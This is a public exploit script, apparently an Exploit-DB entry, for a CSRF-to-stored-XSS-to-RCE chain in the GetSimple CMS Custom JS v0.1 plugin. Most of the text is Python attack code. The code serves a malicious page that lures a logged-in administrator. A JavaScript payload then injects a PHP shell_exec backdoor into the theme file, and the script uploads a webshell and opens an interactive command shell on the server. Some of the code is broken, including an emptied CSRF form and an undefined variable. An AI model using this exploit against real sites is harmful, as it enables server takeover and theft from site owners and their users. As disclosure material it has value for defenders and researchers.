# Exploit Title: GetSimple CMS Custom JS v0.1 - CSRF to XSS to RCE # Exploit Author: Bobby Cooke (boku) & Abhishek Joshi # Date: April 30th, 2021 # Vendor Homepage: http://get-simple.info # Software Link: http://get-simple.info/download/ & http://get-simple.info/extend/plugin/custom-js/1267/ # Vendor: 4Enzo # Version: v0.1 # Tested against Server Host: Windows 10 Pro + XAMPP # Tested against Client Browsers: Firefox (Linux & Windows) & Internet Explorer # Vulnerability Description: # The Custom JS v0.1 plugin for GetSimple CMS suffers from a Cross-Site Request Forgery (CSRF) attack that allows remote unauthenticated attackers to inject arbitrary client-side code into authenticated administrators browsers, which results in Remote Code Execution (RCE) on the hosting server, when an authenticated administrator visits a malicious third party website. # Full Disclosure & MITRE CVE Tracking: github.com/boku7/gsCMS-CustomJS-Csrf2Xss2Rce # CVSS v3.1 Vector: AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H # CVSS Base Score: 9.6 import argparse,requests from http.server import BaseHTTPRequestHandler, HTTPServer from colorama import (Fore as F, Back as B, Style as S) from threading import Thread from time import sleep FT,FR,FG,FY,FB,FM,FC,ST,SD,SB = F.RESET,F.RED,F.GREEN,F.YELLOW,F.BLUE,F.MAGENTA,F.CYAN,S.RESET_ALL,S.DIM,S.BRIGHT def bullet(char,color): C=FB if color == 'B' else FR if color == 'R' else FG return SB+C+'['+ST+SB+char+SB+C+']'+ST+' ' info,err,ok = bullet('-','B'),bullet('-','R'),bullet('!','G') class theTHREADER(object): def __init__(self, interval=1): self.interval = interval thread = Thread(target=self.run, args=()) thread.daemon = True thread.start() def run(self): run() def webshell(target): try: websh = "{}/webshell.php".format(target,page) term = "{}{}PWNSHELL{} > {}".format(SB,FR,FB,ST) welcome = ' {}{}]{}+++{}[{}========>{} HelloFriend {}<========{}]{}+++{}[{}'.format(SB,FY,FR,FY,FT,FR,FT,FY,FR,FY,ST) print(welcome) while True: specialmove = input(term) command = {'FierceGodKick': specialmove} r = requests.post(websh, data=command, verify=False) status = r.status_code if status != 200: r.raise_for_status() response = r.text print(response) except: pass def xhrRcePayload(): payload = 'var e=function(i){return encodeURIComponent(i);};' payload += 'var gt = decodeURIComponent("%3c");' payload += 'var lt = decodeURIComponent("%3e");' payload += 'var h="application/x-www-form-urlencoded";' payload += 'var u="/admin/theme-edit.php";' payload += 'var xhr1=new XMLHttpRequest();' payload += 'var xhr2=new XMLHttpRequest();' payload += 'xhr1.onreadystatechange=function(){' payload += 'if(xhr1.readyState==4 && xhr1.status==200){' payload += 'r=this.responseXML;' payload += 'nVal=r.querySelector("#nonce").value;' payload += 'eVal=r.forms[1][2].defaultValue;' payload += 'xhr2.open("POST",u,true);' payload += 'xhr2.setRequestHeader("Content-Type",h);' payload += 'payload=e(gt+"?php echo shell_exec($_REQUEST[solarflare]) ?"+lt);' payload += 'params="nonce="+nVal+"&content="+payload+"&edited_file="+eVal+"&submitsave=Save+Changes";' payload += 'xhr2.send(params);' payload += '}};' payload += 'xhr1.open("GET",u,true);' payload += 'xhr1.responseType="document";' payload += 'xhr1.send();' return payload def csrfPayload(): payload = '' payload += '
' payload += '' payload += '' payload += '' payload += '' payload += '
' return payload class S(BaseHTTPRequestHandler): def do_GET(self): victim = self.client_address victim = "{}:{}".format(victim[0],victim[1]) print("{}{} connected to Malicious CSRF Site!".format(ok,victim)) print('{}Waiting for admin to view a CMS webpage & trigger the XSS XHR -> RCE payload..'.format(info)) self.wfile.write("{}".format(csrfPayload()).encode('utf-8')) def run(server_class=HTTPServer, handler_class=S, port=80): server_address = ('', port) httpd = server_class(server_address, handler_class) print('{}Hosting CSRF attack & listening for admin to connect..'.format(info)) try: httpd.serve_forever() except KeyboardInterrupt: pass httpd.server_close() print('Stopping httpd...') def tryUploadWebshell(target,page): try: blind = target+page # The ^ symbols are required to escape the <> symbols to create the non-blind webshell (^ is an escape for window cmd prompt) webshUpload = {'solarflare': "echo ^>webshell.php"} requests.post(url=blind, data=webshUpload, verify=False) except: pass def checkWebshell(target): try: websh = "{}/webshell.php".format(target) capsule = {'FierceGodKick':'pwnt?'} resp = requests.post(url=websh, data=capsule, verify=False) return resp.status_code except: pass def sig(): SIG = SB+FY+" .-----.._ ,--. "+FB+" ___ "+FY+" ___ _____ _____ _ _ _____ \n" SIG += FY+" | .. > ___ | | .--. "+FB+" / \\ "+FY+" |_ | _ / ___| | | |_ _| \n" SIG += FY+" | |.' ,'-'"+FR+"* *"+FY+"'-. |/ /__ __ "+FB+" \\ O / "+FY+" | | | | \\ `--.| |_| | | | \n" SIG += FY+" | ) "+FR+" * *"+FY+" / \\ \\"+FB+" ( (_> < "+FY+"/\\__/ | \\_/ /\\__/ / | | |_| |_ \n" SIG += FY+" |____..- '-.._..-'_|\\___|._..\\___\\ "+FB+"\\___/\\/"+FY+" \\____/ \\___/\\____/\\_| |_/\\___/\n" SIG += FY+" __"+FR+"linkedin.com/in/bobby-cooke/"+FY+"_____ "+" __"+FR+"linkedin.com/in/reverse-shell/"+FY+"\n"+ST return SIG def argsetup(): about = SB+FB+' The Custom JS v0.1 plugin for GetSimple CMS suffers from a Cross-Site Request Forgery (CSRF) attack that allows remote unauthenticated attackers to inject arbitrary client-side code into authenticated administrators browsers, which results in Remote Code Execution (RCE) on the hosting server, when an authenticated administrator visits a malicious third party website.\n'+ST about += SB+FC+' CVSS Base Score'+FT+':'+FR+' 9.6 '+FT+'|'+FC+' CVSS v3.1 Vector'+FT+':'+FR+' AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H'+FC parser = argparse.ArgumentParser(description=about, formatter_class=argparse.RawTextHelpFormatter) desc1 = ST+FC+'Routable domain name of the target GetSimple CMS instance'+SB parser.add_argument('Target',type=str,help=desc1) desc2 = ST+FC+'Path to the public page which implements the CMS theme'+ST parser.add_argument('PublicPage',type=str,help=desc2) args = parser.parse_args() return args if __name__ == '__main__': header = SB+FR+' GetSimple CMS - Custom JS Plugin Exploit\n' header += SB+FB+' CSRF '+FT+'->'+FB+' Stored XSS '+FT+'->'+FB+' XHR PHP Code Injection '+FT+'->'+FB+' RCE\n'+ST header += SB+FT+' '+FR+' Bobby '+FR+'"'+FR+'boku'+FR+'"'+FR+' Cooke & Abhishek Joshi\n'+ST print(header) args = argsetup() target = args.Target page = args.PublicPage print(sig()) theTHREADER() pwnt = checkWebshell(target) if pwnt != 200: while pwnt != 200: sleep(3) tryUploadWebshell(target,page) sleep(2) pwnt = checkWebshell(target) print("{} A wild webshell appears!".format(ok)) webshell(target)